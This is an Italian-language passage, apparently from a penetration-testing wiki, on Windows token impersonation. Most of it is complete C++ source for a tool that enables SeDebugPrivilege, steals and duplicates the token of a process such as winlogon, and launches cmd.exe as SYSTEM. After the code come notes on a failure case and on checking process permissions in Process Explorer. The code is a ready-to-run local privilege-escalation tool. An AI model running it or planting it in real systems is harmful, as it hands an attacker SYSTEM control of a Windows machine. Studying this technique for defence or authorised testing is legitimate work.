Il seguente codice è tratto da qui. Permette di indicare un ID processo come argomento e un CMD che gira come l'utente del processo indicato verrà eseguito.
Eseguendo in un processo ad alta integrità puoi indicare il PID di un processo in esecuzione come System (come winlogon, wininit) ed eseguire un cmd.exe come system.
impersonateuser.exe 1234
impersonateuser.cpp
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962#include<windows.h>#include<iostream>#include<Lmcons.h>BOOLSetPrivilege(HANDLE hToken, // access token handleLPCTSTR lpszPrivilege, // name of privilege to enable/disableBOOL bEnablePrivilege // to enable or disable privilege){TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL, // lookup privilege on local systemlpszPrivilege, // privilege to lookup&luid)) // receives LUID of privilege{printf("[-] LookupPrivilegeValue error: %u\n",GetLastError());return FALSE;}tp.PrivilegeCount =1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;elsetp.Privileges[0].Attributes =0;// Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("[-] AdjustTokenPrivileges error: %u\n",GetLastError());return FALSE;}if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("[-] The token does not have the specified privilege. \n");return FALSE;}return TRUE;}std::stringget_username(){TCHAR username[UNLEN +1];DWORD username_len = UNLEN +1;GetUserName(username,&username_len);std::wstring username_w(username);std::string username_s(username_w.begin(),username_w.end());return username_s;}intmain(int argc,char** argv) {// Print whoami to compare to thread laterprintf("[+] Current user is: %s\n", (get_username()).c_str());// Grab PID from command line argumentchar* pid_c =argv[1];DWORD PID_TO_IMPERSONATE =atoi(pid_c);// Initialize variables and structuresHANDLE tokenHandle =NULL;HANDLE duplicateTokenHandle =NULL;STARTUPINFO startupInfo;PROCESS_INFORMATION processInformation;ZeroMemory(&startupInfo,sizeof(STARTUPINFO));ZeroMemory(&processInformation,sizeof(PROCESS_INFORMATION));startupInfo.cb =sizeof(STARTUPINFO);// Add SE debug privilegeHANDLE currentTokenHandle =NULL;BOOL getCurrentToken =OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,¤tTokenHandle);if (SetPrivilege(currentTokenHandle,L"SeDebugPrivilege", TRUE)){printf("[+] SeDebugPrivilege enabled!\n");}// Call OpenProcess(), print return code and error codeHANDLE processHandle =OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,true, PID_TO_IMPERSONATE);if (GetLastError() ==NULL)printf("[+] OpenProcess() success!\n");else{printf("[-] OpenProcess() Return Code: %i\n", processHandle);printf("[-] OpenProcess() Error: %i\n",GetLastError());}// Call OpenProcessToken(), print return code and error codeBOOL getToken =OpenProcessToken(processHandle, MAXIMUM_ALLOWED,&tokenHandle);if (GetLastError() ==NULL)printf("[+] OpenProcessToken() success!\n");else{printf("[-] OpenProcessToken() Return Code: %i\n", getToken);printf("[-] OpenProcessToken() Error: %i\n",GetLastError());}// Impersonate user in a threadBOOL impersonateUser =ImpersonateLoggedOnUser(tokenHandle);if (GetLastError() ==NULL){printf("[+] ImpersonatedLoggedOnUser() success!\n");printf("[+] Current user is: %s\n", (get_username()).c_str());printf("[+] Reverting thread to original user context\n");RevertToSelf();}else{printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);printf("[-] ImpersonatedLoggedOnUser() Error: %i\n",GetLastError());}// Call DuplicateTokenEx(), print return code and error codeBOOL duplicateToken =DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED,NULL, SecurityImpersonation, TokenPrimary,&duplicateTokenHandle);if (GetLastError() ==NULL)printf("[+] DuplicateTokenEx() success!\n");else{printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);printf("[-] DupicateTokenEx() Error: %i\n",GetLastError());}// Call CreateProcessWithTokenW(), print return code and error codeBOOL createProcess =CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE,L"C:\\Windows\\System32\\cmd.exe",NULL,0,NULL,NULL,&startupInfo,&processInformation);if (GetLastError() ==NULL)printf("[+] Process spawned!\n");else{printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);printf("[-] CreateProcessWithTokenW Error: %i\n",GetLastError());}return0;}
Errore
In alcune occasioni potresti provare a impersonare il System e non funzionerà mostrando un output simile al seguente:
Questo significa che anche se stai eseguendo a un livello di alta integrità non hai abbastanza permessi.
Controlliamo i permessi attuali dell'Amministratore sui processi svchost.exe con processes explorer (o puoi anche usare process hacker):
Seleziona un processo di svchost.exe
Clicca con il tasto destro --> Proprietà
Nella scheda "Sicurezza" clicca in basso a destra sul pulsante "Permessi"
Clicca su "Avanzate"
Seleziona "Amministratori" e clicca su "Modifica"
Clicca su "Mostra permessi avanzati"
L'immagine precedente contiene tutti i privilegi che "Amministratori" hanno sul processo selezionato (come puoi vedere nel caso di svchost.exe hanno solo privilegi di "Query")
Guarda i privilegi che "Amministratori" hanno su winlogon.exe:
All'interno di quel processo "Amministratori" possono "Leggere la memoria" e "Leggere i permessi", il che probabilmente consente agli Amministratori di impersonare il token utilizzato da questo processo.